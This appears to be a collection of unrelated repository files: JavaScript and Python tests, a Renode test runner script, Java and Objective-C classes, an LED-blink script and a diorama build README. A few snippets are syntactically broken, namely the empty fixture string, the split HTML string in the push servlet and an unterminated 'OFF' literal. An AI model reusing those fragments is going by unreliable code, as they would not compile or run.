text:
describe("Build", function () {
  var build;

  beforeEach(function () {

    setFixtures(
      '

'
    );

    build = new concourse.Build($('.js-build'));

    jasmine.Ajax.install();
  });

  afterEach(function() {
    jasmine.Ajax.uninstall();
  });

  describe('#bindEvents', function () {
    it('binds on the click of .js-abortBuild', function () {
      spyOn(build, 'abort');

      build.bindEvents();

      $(".js-abortBuild").trigger('click');
      expect(build.abort).toHaveBeenCalled();
    });
  });

  describe('#abort', function() {
    var respondWithSuccess = function(request) {
      var successRequest = request || jasmine.Ajax.requests.mostRecent();
      successRequest.respondWith({
        "status": 200,
        "contentType": "application/json",
        "responseText": "{}"
      });
    };

    var respondWithError = function(request) {
      var errorRequest = request || jasmine.Ajax.requests.mostRecent();
      errorRequest.respondWith({
        "status": 500,
        "contentType": 'application/json'
      });
    };

    var respondWithUnauthorized = function(request) {
      var errorRequest = request || jasmine.Ajax.requests.mostRecent();
      errorRequest.respondWith({
        "status": 401,
        "contentType": 'application/json'
      });
    };

    it('calls the api endpoint to abort the build', function() {
      build.abort();

      var request = jasmine.Ajax.requests.mostRecent();

      expect(request.url).toBe('/api/v1/builds/123/abort');
      expect(request.method).toBe('POST');

      respondWithSuccess(request);
    });

    describe('when the request is successful', function() {
      it('removes the js-abortBuild button', function() {
        expect($('.js-abortBuild').length).toEqual(1);

        build.abort();
        respondWithSuccess();

        expect($('.js-abortBuild').length).toEqual(0);
      });
    });

    describe('when the request is not successful', function() {
      it('sets an errored class on js-abortBuild', function() {
        expect($('.js-abortBuild')).not.toHaveClass('errored');

        build.abort();
        respondWithError();

        expect($('.js-abortBuild')).toHaveClass('errored');
      });
    });

    describe('when the request is unauthorized', function(){
      it('redirects to /login', function () {
        spyOn(concourse, 'redirect');

        expect($('.js-abortBuild').length).toEqual(1);

        build.abort();
        respondWithUnauthorized();

        expect(concourse.redirect).toHaveBeenCalledWith("/login");
      });
    });
  });
});

redpajama_set_name: RedPajamaGithub


text:
set -e

TARGET=bluepill

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
TFLM_ROOT_DIR=${SCRIPT_DIR}/..

# The renode script for the board being emulated.
RESC_PATH=${TFLM_ROOT_DIR}/testing/${TARGET}.resc

# Robot file with definition of custom keywords used in test suite.
ROBOT_RESOURCE=${TFLM_ROOT_DIR}/testing/robot.resource.txt

# Renode's entrypoint for using the Robot Framework.
RENODE_TEST_SCRIPT=${TFLM_ROOT_DIR}/tools/make/downloads/renode/test.sh

if [ ! -f "${RENODE_TEST_SCRIPT}" ]; then
  echo "The renode test script: ${RENODE_TEST_SCRIPT} does not exist. Please " \
       "make sure that you have correctly installed Renode for TFLM. See " \
       "tensorflow/lite/micro/docs/renode.md for more details."
  exit 1
fi

if ! ${RENODE_TEST_SCRIPT} &> /dev/null
then
  echo "The following command failed: ${RENODE_TEST_SCRIPT}. Please " \
       "make sure that you have correctly installed Renode for TFLM. See " \
       "tensorflow/lite/micro/docs/renode.md for more details."
  exit 1
fi

# Files generated by this script will go in the RESULTS_DIRECTORY. These include:
#  1. UART_LOG: Output log from the renode uart.
#  2. html and xml files generated by the Robot Framework.
#  3. ROBOT_SCRIPT: Generated test suite.
#
# Note that with the current approach (in generated ROBOT_SCRIPT), multiple test
# binaries are run in a the same test suite and UART_LOG only has logs from the last test
# binary since it is deleted prior to running each test binary. If some test fails
# the UART_LOG will be printed to console log before being deleted.
RESULTS_DIRECTORY=/tmp/renode_${TARGET}_logs
mkdir -p ${RESULTS_DIRECTORY}

UART_LOG=${RESULTS_DIRECTORY}/uart_log.txt

ROBOT_SCRIPT=${RESULTS_DIRECTORY}/${TARGET}.robot

echo -e "*** Settings ***\n" \
        "Suite Setup                   Setup\n" \
        "Suite Teardown                Teardown\n" \
        "Test Setup                    Reset Emulation\n" \
        "Test Teardown                 Teardown With Custom Message\n" \
        "Resource                      \${RENODEKEYWORDS}\n" \
        "Resource                      ${ROBOT_RESOURCE}\n" \
        "Default Tags                  tensorflow\n" \
        "\n" \
        "*** Variables ***\n" \
        "\${RESC}                      undefined_RESC\n" \
        "\${UART_LOG}                  /tmp/uart.log\n" \
        "\${UART_LINE_ON_SUCCESS}      ~~~ALL TESTS PASSED~~~\n" \
        "\${CREATE_SNAPSHOT_ON_FAIL}   False\n" \
        "\n" \
        "*** Test Cases ***\n" \
        "Should Create Platform\n" \
        "    Create Platform\n" > $ROBOT_SCRIPT

declare -a FILES
if [[ -d ${1} ]]; then
    FILES=`ls -1 ${1}/*_test`
else
    FILES=${1}
fi

for binary in ${FILES}
do
    echo -e "Should Run $(basename ${binary})\n"\
            "    Test Binary    @$(realpath ${binary})\n" >> ${ROBOT_SCRIPT}
done

ROBOT_COMMAND="${RENODE_TEST_SCRIPT} ${ROBOT_SCRIPT} \
  -r ${RESULTS_DIRECTORY} \
  --variable RESC:${RESC_PATH} \
  --variable UART_LOG:${UART_LOG}"

echo "${ROBOT_COMMAND}"
echo ""
${ROBOT_COMMAND}


text:
//  SDLButtonPressMode.h
//

#import "SDLEnum.h"

/**
 * Indicates whether this is a LONG or SHORT button press
 *
 * @since SDL 1.0
 */
typedef SDLEnum SDLButtonPressMode SDL_SWIFT_ENUM;

/**
 * @abstract A button was released, after it was pressed for a long time. Actual timing is defined by the head unit and may vary.
 */
extern SDLButtonPressMode const SDLButtonPressModeLong;

/**
 * @abstract A button was released, after it was pressed for a short time. Actual timing is defined by the head unit and may vary.
 */
extern SDLButtonPressMode const SDLButtonPressModeShort;


text:
@interface WQSettingVC : WQTableViewController

@end


text:
var firmata = require('firmata');

// Change this line to the serial port of a device
var modem = '/dev/cu.usbmodem14231';

// Main part
var board = new firmata.Board(modem, function(err){
  console.log('connected:  ' +  modem);
  var ledOn = true;

  // Configure pin 13 as output
  board.pinMode(13, board.MODES.OUTPUT);

  // Blink the LED
  setInterval(function() {

    if (ledOn) {
      console.log('ON');
      board.digitalWrite(13, board.HIGH);
    } else {
      console.log('OFF);
      board.digitalWrite(13, board.LOW);
    }

    ledOn = !ledOn;

  }, 500);
});


text:
Using select 1:72 figures from HäT set 8298 to make a little diorama in an Ikea picture frame with LED lighting.

![Build](./assets/MongolWarriors_build.jpg?raw=true)

## Notes

### The Figures

I picked up this set HäT set of "Huns" [No. 8298 1:72](https://www.scalemates.com/kits/haet-hat-8298-huns--1111298)
with an idea for placing them in a diorama.

[Plastic Soldier Review](http://www.plasticsoldierreview.com/Review.aspx?id=2091)
has "middling" things to say about the figures, mainly criticising the somewhat over-scale casting, and the poor  sculpting of the horses.
Having worked with them now, I must agree, hover my main problem was with the plastic - very soft, like polythene(?), and
therefore very difficult to make modifications and clean up seam-lines and other imperfections.

While the figures are intended to represent [Huns](https://en.wikipedia.org/wiki/Huns) between the 4th and 6th century AD,
the sculpting is not very specific, and is also quite similar in clothing and style to the
[Mongol Empire](https://en.wikipedia.org/wiki/Mongol_Empire) of the 13th and 14th centuries.

### The Plan

I had this Ikea RIBBA picture frame just waiting for such a project. Testing the layout, I think I have a plan...

![build01a](./assets/build01a.jpg?raw=true)

### Preparing the Figures

Cleaning up as best I can, replacing arrows and lances with wire much more in-scale.

![build02a](./assets/build02a.jpg?raw=true)

Primed in black..

![build02b](./assets/build02b.jpg?raw=true)

Horses and riders paired up for painting..

![build02c](./assets/build02c.jpg?raw=true)

### The Picture Frame

The scene is set inside a 23x23cm Ikea RIBBA picture frame (black, item code 802.081.38).
It is perfect for this kind of project, as it has a nice depth of about 3cm.

The bad news is that it appears these have been discontinued from the
[RIBBA picture frame series](https://www.ikea.com/sg/en/cat/ribba-picture-frame-series-16456/).

The 25x25 cm [SANNAHED](https://www.ikea.com/sg/en/p/sannahed-frame-black-60459123/) may be a close equivalent,
but with a plastic front protector instead of glass.

### Lighting the Frame

To light the frame, I'm using a short (~7 LED) length of 12V warm white LED strip.
To make it easy to power, I'm using a 9V battery to be installed in the frame with a MT3608-based boost converter
to bump the output to 12V.

Note: see [LEAP#642](../../Electronics101/SwitchModePowerSupplies/MT3608/SafeControl) for issue with running the boost converter with an input over 7V - basically just need to be careful not to fully adjust the output to the extreme (lest the MT3608 chip will be fried). Adjusted for 12V output is fine.

![bb](./assets/MongolWarriors_bb.jpg?raw=true)

![schematic](./assets/MongolWarriors_schematic.jpg?raw=true)

Testing the LEDs before installing in the frame..

![build03a](./assets/build03a.jpg?raw=true)

Testing the LEDs in the frame. Better remember not to put in the glass pane for photographs!

![build03b](./assets/build03b.jpg?raw=true)

### Final Figure Painting

I've prepared the ground, now I can start selecting final positioning of the riders.

The base:

- high density foam roughly sculpted to an uneven hill side trail
- plastered with grout
- primed in black
- airbrushed with varied Vallejo model colors
- some pastels used as pigments

![build04a](./assets/build04a.jpg?raw=true)

Wow, it is actually coming to life..

![build04b](./assets/build04b.jpg?raw=true)

These boys mean business.

![build04c](./assets/build04c.jpg?raw=true)
![build04d](./assets/build04d.jpg?raw=true)

### Final Assembly

Mongol Warriors - some final shots of this scene in an Ikea picture box. A few HäT "hun" figures, a base, background and LED lighting.

The overall effect is close to what I had intended, but the figures don't really stand up to close scrutiny .. I've replaced some obvious scale aberrations like lances, arrows and bow strings but there are still some oddities (e.g. hand sizes!)

![build05a](./assets/build05a.jpg?raw=true)
![build05b](./assets/build05b.jpg?raw=true)
![build05c](./assets/build05c.jpg?raw=true)
![build05d](./assets/build05d.jpg?raw=true)
![build05e](./assets/build05e.jpg?raw=true)
![build05f](./assets/build05f.jpg?raw=true)

## Credits and References

- [this project on scalemates](https://www.scalemates.com/profiles/mate.php?id=74137&p=projects&project=127640)
- [Huns HäT (Hat) No. 8298 1:72](https://www.scalemates.com/kits/haet-hat-8298-huns--1111298)
- [HaT Set 8298 Huns](http://www.plasticsoldierreview.com/Review.aspx?id=2091) - plastic soldier review
- [Huns](https://en.wikipedia.org/wiki/Huns)
- [Mongol Empire](https://en.wikipedia.org/wiki/Mongol_Empire)


text:
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

import weakref

import numpy as np

from tensorflow.python.eager import context
from tensorflow.python.eager import def_function
from tensorflow.python.framework import constant_op
from tensorflow.python.framework import errors
from tensorflow.python.framework import ops
from tensorflow.python.framework import test_util
from tensorflow.python.ops import array_ops
from tensorflow.python.platform import test

class ContextTest(test.TestCase):

  def testSetGlobalSeed(self):
    c = context.Context()
    c._set_global_seed(123)
    for t in [np.int32, np.int64, np.uint32, np.uint64]:
      c._set_global_seed(t(123))
      c._set_global_seed(np.array(123, dtype=t))
      c._set_global_seed(ops.convert_to_tensor(123, dtype=t))

  def testContextIsDestroyedAfterTensors(self):
    # Create a new context
    new_context = context.Context()
    weak_c = weakref.ref(new_context)
    new_context.ensure_initialized()

    # Create a tensor with the new context as default.
    # Make sure to restore the original context.
    original_context = context.context()
    try:
      context._set_context(new_context)
      # Use a 2D tensor so that it is not cached.
      tensor1 = constant_op.constant([[3.]])
      # Produce a tensor as an operation output. This uses a different code path
      # from tensors created from Python.
      tensor2 = tensor1 * tensor1
      context._set_context(original_context)
    except:
      context._set_context(original_context)
      raise

    # Deleting our context reference should not delete the underlying object.
    del new_context
    self.assertIsNot(weak_c(), None)

    # Deleting the first tensor should not delete the context since there is
    # another tensor.
    del tensor1
    self.assertIsNot(weak_c(), None)

    # Deleting the last tensor should result in deleting its context.
    del tensor2
    self.assertIs(weak_c(), None)

  def testSimpleGraphCollection(self):

    @def_function.function
    def f(x):
      with ops.device('CPU:0'):
        return x + constant_op.constant(1.)

    with context.collect_graphs() as graphs:
      f(constant_op.constant(1.))

    self.assertLen(graphs, 1)
    graph, = graphs
    self.assertIn('CPU:0', graph.node[1].device)

  @test_util.disable_tfrt(
      'b/171600738: tfrt does not support exporting post-optimization graph')
  def testGraphCollectionAfterDevicePlacement(self):

    @def_function.function
    def f(x):
      return x + constant_op.constant(1.)

    with context.collect_graphs() as graphs:
      with ops.device('CPU:0'):
        f(constant_op.constant(1.))

    self.assertLen(graphs, 1)
    graph, = graphs
    self.assertIn('CPU:0', graph.node[0].device)

  def testGetFunctionDef(self):

    @def_function.function
    def f():
      return constant_op.constant(1.)

    concrete = f.get_concrete_function()
    function_def = context.get_function_def(concrete.name)

    self.assertIsNot(function_def, None)

    found_const_node = False
    for node_def in function_def.node_def:
      if node_def.op == 'Const':
        found_const_node = True
        break
    self.assertTrue(found_const_node)

    with self.assertRaises(errors.NotFoundError):
      _ = context.get_function_def('this_should_not_be_found')

  @test_util.run_gpu_only
  @test_util.disable_tfrt('b/169293680: TFE_GetTotalMemoryUsage is unsupported')
  def testGetMemoryUsage(self):
    array_ops.zeros([10]) # Allocate some memory on the GPU.
    self.assertGreater(
        context.context().get_total_memory_usage('GPU:0'), 0)

  @test_util.disable_tfrt('b/169293680: TFE_GetTotalMemoryUsage is unsupported')
  def testGetMemoryUsageCPU(self):
    with self.assertRaisesRegex(ValueError, 'CPU does not support'):
      context.context().get_total_memory_usage('CPU:0')

  @test_util.disable_tfrt('b/169293680: TFE_GetTotalMemoryUsage is unsupported')
  def testGetMemoryUsageUnknownDevice(self):
    with self.assertRaisesRegex(ValueError, 'Failed parsing device name'):
      context.context().get_total_memory_usage('unknown_device')

  @test_util.run_gpu_only
  @test_util.disable_tfrt('b/169293680: TFE_GetTotalMemoryUsage is unsupported')
  def testGetMemoryUsageAmbiguousDevice(self):
    if len(context.context().list_physical_devices('GPU')) < 2:
      self.skipTest('Need at least 2 GPUs')
    with self.assertRaisesRegex(ValueError, 'Multiple devices'):
      context.context().get_total_memory_usage('GPU')

  def testListFunctionNames(self):

    @def_function.function
    def f():
      return constant_op.constant(1.)

    concrete = f.get_concrete_function()
    self.assertIn(concrete.name.decode(),
                  context.context().list_function_names())

if __name__ == '__main__':
  ops.enable_eager_execution()
  test.main()


text:
package com.intellij.xml.util;

import com.intellij.codeInsight.intention.IntentionAction;
import com.intellij.codeInspection.LocalQuickFix;
import com.intellij.codeInspection.ProblemDescriptor;
import com.intellij.lang.ASTNode;
import com.intellij.lang.Language;
import com.intellij.openapi.editor.Document;
import com.intellij.openapi.editor.Editor;
import com.intellij.openapi.fileEditor.FileDocumentManager;
import com.intellij.openapi.project.Project;
import com.intellij.openapi.vfs.VirtualFile;
import com.intellij.psi.*;
import com.intellij.psi.codeStyle.CodeStyleManager;
import com.intellij.psi.util.PsiTreeUtil;
import com.intellij.psi.xml.XmlChildRole;
import com.intellij.psi.xml.XmlTag;
import com.intellij.util.IncorrectOperationException;
import com.intellij.xml.analysis.XmlAnalysisBundle;
import org.jetbrains.annotations.Nls;
import org.jetbrains.annotations.NotNull;

/**
 * @author Dmitry Avdeev
 */
public class CollapseTagIntention implements LocalQuickFix, IntentionAction {

  @Override
  @NotNull
  public String getFamilyName() {
    return XmlAnalysisBundle.message("xml.intention.replace.tag.empty.body.with.empty.end");
  }

  @Nls
  @NotNull
  @Override
  public String getText() {
    return getName();
  }

  @Override
  public void applyFix(@NotNull Project project, @NotNull ProblemDescriptor descriptor) {
    applyFix(project, descriptor.getPsiElement());
  }

  @Override
  public boolean isAvailable(@NotNull Project project, Editor editor, PsiFile file) {
    XmlTag tag = getTag(editor, file);
    return tag != null && !tag.isEmpty() &&
           tag.getValue().getChildren().length == tag.getValue().getTextElements().length && tag.getValue().getTrimmedText().isEmpty() &&
           CheckTagEmptyBodyInspection.isCollapsibleTag(tag);
  }

  @Override
  public void invoke(@NotNull Project project, Editor editor, PsiFile file) throws IncorrectOperationException {
    XmlTag tag = getTag(editor, file);
    if (tag != null) {
      applyFix(project, tag);
    }
  }

  private static XmlTag getTag(Editor editor, PsiFile file) {

    int offset = editor.getCaretModel().getOffset();
    FileViewProvider provider = file.getViewProvider();
    for (Language language : provider.getLanguages()) {
      PsiElement element = provider.findElementAt(offset, language);
      XmlTag tag = PsiTreeUtil.getParentOfType(element, XmlTag.class);
      if (tag != null && XmlChildRole.START_TAG_END_FINDER.findChild(tag.getNode()) != null) {
        return tag;
      }
    }
    return null;
  }

  @Override
  public boolean startInWriteAction() {
    return true;
  }

  protected static void applyFix(@NotNull final Project project, @NotNull final PsiElement tag) {
    PsiDocumentManager.getInstance(project).commitAllDocuments();
    final ASTNode child = XmlChildRole.START_TAG_END_FINDER.findChild(tag.getNode());
    if (child == null) return;
    final int offset = child.getTextRange().getStartOffset();
    VirtualFile file = tag.getContainingFile().getVirtualFile();
    final Document document = FileDocumentManager.getInstance().getDocument(file);
    assert document != null;
    document.replaceString(offset, tag.getTextRange().getEndOffset(), "/>");
    SmartPsiElementPointer<PsiElement> pointer = SmartPointerManager.getInstance(project).createSmartPsiElementPointer(tag);
    PsiDocumentManager.getInstance(project).commitDocument(document);
    PsiElement restored = pointer.getElement();
    if (restored != null) {
      CodeStyleManager.getInstance(project).reformat(restored);
    }
  }
}


text:
package org.apache.flink.table.planner.plan.nodes.exec.stream;

import org.apache.flink.FlinkVersion;
import org.apache.flink.api.dag.Transformation;
import org.apache.flink.configuration.ReadableConfig;
import org.apache.flink.table.data.RowData;
import org.apache.flink.table.planner.codegen.CodeGeneratorContext;
import org.apache.flink.table.planner.codegen.agg.AggsHandlerCodeGenerator;
import org.apache.flink.table.planner.delegation.PlannerBase;
import org.apache.flink.table.planner.plan.nodes.exec.ExecEdge;
import org.apache.flink.table.planner.plan.nodes.exec.ExecNode;
import org.apache.flink.table.planner.plan.nodes.exec.ExecNodeConfig;
import org.apache.flink.table.planner.plan.nodes.exec.ExecNodeContext;
import org.apache.flink.table.planner.plan.nodes.exec.ExecNodeMetadata;
import org.apache.flink.table.planner.plan.nodes.exec.InputProperty;
import org.apache.flink.table.planner.plan.nodes.exec.utils.ExecNodeUtil;
import org.apache.flink.table.planner.plan.utils.AggregateInfoList;
import org.apache.flink.table.planner.plan.utils.AggregateUtil;
import org.apache.flink.table.planner.plan.utils.KeySelectorUtil;
import org.apache.flink.table.planner.utils.JavaScalaConversionUtil;
import org.apache.flink.table.runtime.generated.GeneratedAggsHandleFunction;
import org.apache.flink.table.runtime.keyselector.RowDataKeySelector;
import org.apache.flink.table.runtime.operators.aggregate.MiniBatchLocalGroupAggFunction;
import org.apache.flink.table.runtime.operators.bundle.MapBundleOperator;
import org.apache.flink.table.runtime.typeutils.InternalTypeInfo;
import org.apache.flink.table.types.logical.RowType;

import org.apache.flink.shaded.jackson2.com.fasterxml.jackson.annotation.JsonCreator;
import org.apache.flink.shaded.jackson2.com.fasterxml.jackson.annotation.JsonProperty;

import org.apache.calcite.rel.core.AggregateCall;

import java.util.Arrays;
import java.util.Collections;
import java.util.List;

import static org.apache.flink.util.Preconditions.checkArgument;
import static org.apache.flink.util.Preconditions.checkNotNull;

/** Stream {@link ExecNode} for unbounded local group aggregate. */
@ExecNodeMetadata(
        name = "stream-exec-local-group-aggregate",
        version = 1,
        consumedOptions = {
            "table.exec.mini-batch.enabled",
            "table.exec.mini-batch.size",
        },
        producedTransformations =
                StreamExecLocalGroupAggregate.LOCAL_GROUP_AGGREGATE_TRANSFORMATION,
        minPlanVersion = FlinkVersion.v1_15,
        minStateVersion = FlinkVersion.v1_15)
public class StreamExecLocalGroupAggregate extends StreamExecAggregateBase {

    public static final String LOCAL_GROUP_AGGREGATE_TRANSFORMATION = "local-group-aggregate";

    @JsonProperty(FIELD_NAME_GROUPING)
    private final int[] grouping;

    @JsonProperty(FIELD_NAME_AGG_CALLS)
    private final AggregateCall[] aggCalls;

    /** Each element indicates whether the corresponding agg call needs `retract` method. */
    @JsonProperty(FIELD_NAME_AGG_CALL_NEED_RETRACTIONS)
    private final boolean[] aggCallNeedRetractions;

    /** Whether this node consumes retraction messages. */
    @JsonProperty(FIELD_NAME_NEED_RETRACTION)
    private final boolean needRetraction;

    public StreamExecLocalGroupAggregate(
            ReadableConfig tableConfig,
            int[] grouping,
            AggregateCall[] aggCalls,
            boolean[] aggCallNeedRetractions,
            boolean needRetraction,
            InputProperty inputProperty,
            RowType outputType,
            String description) {
        this(
                ExecNodeContext.newNodeId(),
                ExecNodeContext.newContext(StreamExecLocalGroupAggregate.class),
                ExecNodeContext.newPersistedConfig(
                        StreamExecLocalGroupAggregate.class, tableConfig),
                grouping,
                aggCalls,
                aggCallNeedRetractions,
                needRetraction,
                Collections.singletonList(inputProperty),
                outputType,
                description);
    }

    @JsonCreator
    public StreamExecLocalGroupAggregate(
            @JsonProperty(FIELD_NAME_ID) int id,
            @JsonProperty(FIELD_NAME_TYPE) ExecNodeContext context,
            @JsonProperty(FIELD_NAME_CONFIGURATION) ReadableConfig persistedConfig,
            @JsonProperty(FIELD_NAME_GROUPING) int[] grouping,
            @JsonProperty(FIELD_NAME_AGG_CALLS) AggregateCall[] aggCalls,
            @JsonProperty(FIELD_NAME_AGG_CALL_NEED_RETRACTIONS) boolean[] aggCallNeedRetractions,
            @JsonProperty(FIELD_NAME_NEED_RETRACTION) boolean needRetraction,
            @JsonProperty(FIELD_NAME_INPUT_PROPERTIES) List<InputProperty> inputProperties,
            @JsonProperty(FIELD_NAME_OUTPUT_TYPE) RowType outputType,
            @JsonProperty(FIELD_NAME_DESCRIPTION) String description) {
        super(id, context, persistedConfig, inputProperties, outputType, description);
        this.grouping = checkNotNull(grouping);
        this.aggCalls = checkNotNull(aggCalls);
        this.aggCallNeedRetractions = checkNotNull(aggCallNeedRetractions);
        checkArgument(aggCalls.length == aggCallNeedRetractions.length);
        this.needRetraction = needRetraction;
    }

    @SuppressWarnings("unchecked")
    @Override
    protected Transformation<RowData> translateToPlanInternal(
            PlannerBase planner, ExecNodeConfig config) {
        final ExecEdge inputEdge = getInputEdges().get(0);
        final Transformation<RowData> inputTransform =
                (Transformation<RowData>) inputEdge.translateToPlan(planner);
        final RowType inputRowType = (RowType) inputEdge.getOutputType();

        final AggsHandlerCodeGenerator generator =
                new AggsHandlerCodeGenerator(
                        new CodeGeneratorContext(
                                config, planner.getFlinkContext().getClassLoader()),
                        planner.createRelBuilder(),
                        JavaScalaConversionUtil.toScala(inputRowType.getChildren()),
                        // the local aggregate result will be buffered, so need copy
                        true);
        generator.needAccumulate().needMerge(0, true, null);
        if (needRetraction) {
            generator.needRetract();
        }

        final AggregateInfoList aggInfoList =
                AggregateUtil.transformToStreamAggregateInfoList(
                        planner.getTypeFactory(),
                        inputRowType,
                        JavaScalaConversionUtil.toScala(Arrays.asList(aggCalls)),
                        aggCallNeedRetractions,
                        needRetraction,
                        false, // isStateBackendDataViews
                        true); // needDistinctInfo
        final GeneratedAggsHandleFunction aggsHandler =
                generator.generateAggsHandler("GroupAggsHandler", aggInfoList);
        final MiniBatchLocalGroupAggFunction aggFunction =
                new MiniBatchLocalGroupAggFunction(aggsHandler);

        final RowDataKeySelector selector =
                KeySelectorUtil.getRowDataSelector(
                        planner.getFlinkContext().getClassLoader(),
                        grouping,
                        (InternalTypeInfo<RowData>) inputTransform.getOutputType());

        final MapBundleOperator<RowData, RowData, RowData, RowData> operator =
                new MapBundleOperator<>(
                        aggFunction, AggregateUtil.createMiniBatchTrigger(config), selector);

        return ExecNodeUtil.createOneInputTransformation(
                inputTransform,
                createTransformationMeta(LOCAL_GROUP_AGGREGATE_TRANSFORMATION, config),
                operator,
                InternalTypeInfo.of(getOutputType()),
                inputTransform.getParallelism());
    }
}


text:
package org.cat.eye.engine.container.unit.actor;

import akka.actor.AbstractActor;
import akka.actor.ActorRef;
import org.cat.eye.engine.common.crusher.ComputationExecutorUnit;
import org.cat.eye.engine.common.deployment.management.Bundle;
import org.cat.eye.engine.common.msg.Message;
import org.cat.eye.engine.common.service.ComputationContextService;

/**
 * Created by Kotov on 08.02.2019.
 */
public class ComputationEngineUnit extends AbstractActor {

    private ActorRef driver;

    private ActorRef dispatcher;

    private ComputationContextService computationContextService;

    private Bundle bundle;

    public ComputationEngineUnit(ActorRef driver,
                                 ActorRef dispatcher,
                                 ComputationContextService computationContextService,
                                 Bundle bundle) {
        this.driver = driver;
        this.dispatcher = dispatcher;
        this.computationContextService = computationContextService;
        this.bundle = bundle;
    }

    @Override
    public Receive createReceive() {
        return receiveBuilder()
                .match(Message.RunningComputation.class, runningComputation -> {
                    ComputationExecutorUnit executor =
                        new ComputationExecutorUnit(
                            runningComputation.getComputation(), bundle, computationContextService, dispatcher, driver, getSelf());
                    executor.run();
                })
                .build();
    }
}


text:
        <d3-barchartvisualization
          graph="graph"
          selected-node-label="selectedNodeLabel">
        </d3-barchartvisualization>


text:
package com.almende.dialog.adapter;

import java.io.IOException;
import java.net.URLDecoder;
import java.util.HashMap;
import java.util.Map;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import com.almende.dialog.accounts.AdapterConfig;
import com.almende.dialog.adapter.tools.Notificare;
import com.almende.dialog.agent.AdapterAgent;
import com.almende.dialog.agent.tools.TextMessage;
import com.almende.dialog.model.Session;
import com.almende.dialog.model.ddr.DDRRecord;
import com.almende.dialog.util.DDRUtils;
import com.almende.dialog.util.ServerUtils;
import com.askfast.commons.entity.AdapterProviders;
import com.google.common.io.CharStreams;

public class NotificareServlet extends TextServlet {

    private static final long serialVersionUID = 1L;
    protected static final com.almende.dialog.Logger dialogLog = new com.almende.dialog.Logger();
    public static final String servletPath = "/push/";

    @Override
    protected int sendMessage(String message, String subject, String from, String fromName, String to, String toName,
        Map<String, Object> extras, AdapterConfig config, String accountId, DDRRecord ddrRecord) throws Exception {

        Session ses = Session.getSessionByInternalKey(getAdapterType(), config.getMyAddress(), to);
        if (!ServerUtils.isInUnitTestingEnvironment()) {
            Notificare notificare = new Notificare();
            notificare.sendMessage(message, subject, from, fromName, to, toName, config, ses);
        }
        return 1;
    }

    @Override
    protected int broadcastMessage(String message, String subject, String from, String senderName,
        Map<String, String> addressNameMap, Map<String, Object> extras, AdapterConfig config, String accountId,
        DDRRecord ddrRecord) throws Exception {

        int count = 0;
        for (String address : addressNameMap.keySet()) {
            count += sendMessage(message, subject, from, senderName, address, addressNameMap.get(address), extras,
                                 config, accountId, ddrRecord);
        }
        return count;
    }

    @Override
    protected DDRRecord createDDRForIncoming(AdapterConfig adapterConfig, String accountId, String fromAddress,
        String message, Session session) throws Exception {

        return DDRUtils.createDDRRecordOnIncomingCommunication(adapterConfig, accountId, fromAddress, message, session);
    }

    @Override
    protected DDRRecord createDDRForOutgoing(AdapterConfig adapterConfig, String accountId, String senderName,
        Map<String, String> toAddress, String message, Map<String, Session> sessionKeyMap) throws Exception {

        return DDRUtils.createDDRRecordOnOutgoingCommunication(adapterConfig, accountId, null, toAddress, 1, message,
                                                               sessionKeyMap);
    }

    @Override
    protected TextMessage receiveMessage(HttpServletRequest req, HttpServletResponse resp) throws Exception {

        TextMessage message = new TextMessage();
        String responseBody = "";
        if ("POST".equalsIgnoreCase(req.getMethod())) {
            responseBody = URLDecoder.decode(CharStreams.toString(req.getReader()), "UTF-8");
        }
        message = parseQuestion(responseBody);
        resp.getWriter().println(getHtmlResponse("Thank you for you response"));
        return message;
    }

    private String getHtmlResponse(String message) {

        String html = "  " +
                      "<link rel=\"stylesheet\" type=\"text/css\" href=\"http://static.ask-cs.com/askfast/base.css\"> " +
                      "<link rel=\"stylesheet\" type=\"text/css\" href=\"http://static.ask-cs.com/askfast/layout.css\"> " +
                      "<link rel=\"stylesheet\" type=\"text/css\"  href=\"http://static.ask-cs.com/askfast/skeleton.css\"> " +
                      "
" + "
" + "
" + message +
                      "

" + "

";
        return html;
    }

    private TextMessage parseQuestion(String postBody) throws Exception {

        TextMessage message = new TextMessage();
        Map<String, String> map = new HashMap<String, String>();
        String[] pairs = postBody.split("\\&");
        for (int i = 0; i < pairs.length; i++) {
            String[] fields = pairs[i].split("=");
            String name = URLDecoder.decode(fields[0], "UTF-8");
            String value = URLDecoder.decode(fields[1], "UTF-8");
            map.put(name, value);
        }
        Session ses = Session.getSession(map.get("sessionkey"));
        if (ses != null) {
            AdapterConfig adapterConfig = ses.getAdapterConfig();
            //update the owner accountId if its not an existing session.
            //So for pure inbound session. and not a reply on a closed/open question.
            if(adapterConfig != null && !ses.isExistingSession()) {
                ses.setAccountId(adapterConfig.getOwner());
                ses.storeSession();
            }
            message.setBody(map.get("answer"));
            message.setAddress(ses.getRemoteAddress());
            message.setLocalAddress(ses.getLocalAddress());
        }
        return message;
    }

    @Override
    protected String getServletPath() {

        return servletPath;
    }

    @Override
    protected String getAdapterType() {

        return AdapterAgent.ADAPTER_TYPE_PUSH;
    }

    @Override
    protected void doErrorPost(HttpServletRequest req, HttpServletResponse res) throws IOException {

        // TODO Auto-generated method stub

    }

    @Override
    protected String getProviderType() {

        return AdapterProviders.NOTIFICARE.toString();
    }

}


text:
<?php
	class HeaderResponse{
		public $status = 200;
		public $message = "Your petition have had succeeded.";
		public $businessResponse = null;
	}
?>


text:
// Copyright 1998-2015 Epic Games, Inc. All Rights Reserved.

#pragma once

#include "XCodeSourceCodeAccessor.h"

class FXCodeSourceCodeAccessModule : public IModuleInterface
{
public:
	/** IModuleInterface implementation */
	virtual void StartupModule() override;
	virtual void ShutdownModule() override;

private:
	FXCodeSourceCodeAccessor XCodeSourceCodeAccessor;
};


text:
package com.lmd.screeninfolibrary;

import android.os.Build;
import android.util.Log;

/**
 * 作者 : LMD
 * 时间 : 2017/5/8 16:14
 * 功能 : 手机信息工具类
 */

public class PhoneInfoUtils {
    private static final String TAG = "PhoneInfoUtils";

    /**
     * 获取手机品牌
     */
    public static String getPhoneBrand() {
        String phoneBrand = Build.BRAND;
        Log.e(TAG, "PhoneBrand: " + phoneBrand);
        return phoneBrand;
    }

    /**
     * 获取手机型号
     */
    public static String getPhoneModel() {
        String phoneModel = Build.MODEL;
        Log.e(TAG, "PhoneModel: " + phoneModel);
        return phoneModel;

    }
}


text:
from django import forms
from django.utils.translation import ugettext_lazy as _

from .models import (
    Scale,
    Translation,
    GaussianBlur,
    Average,
    MedianBlur,
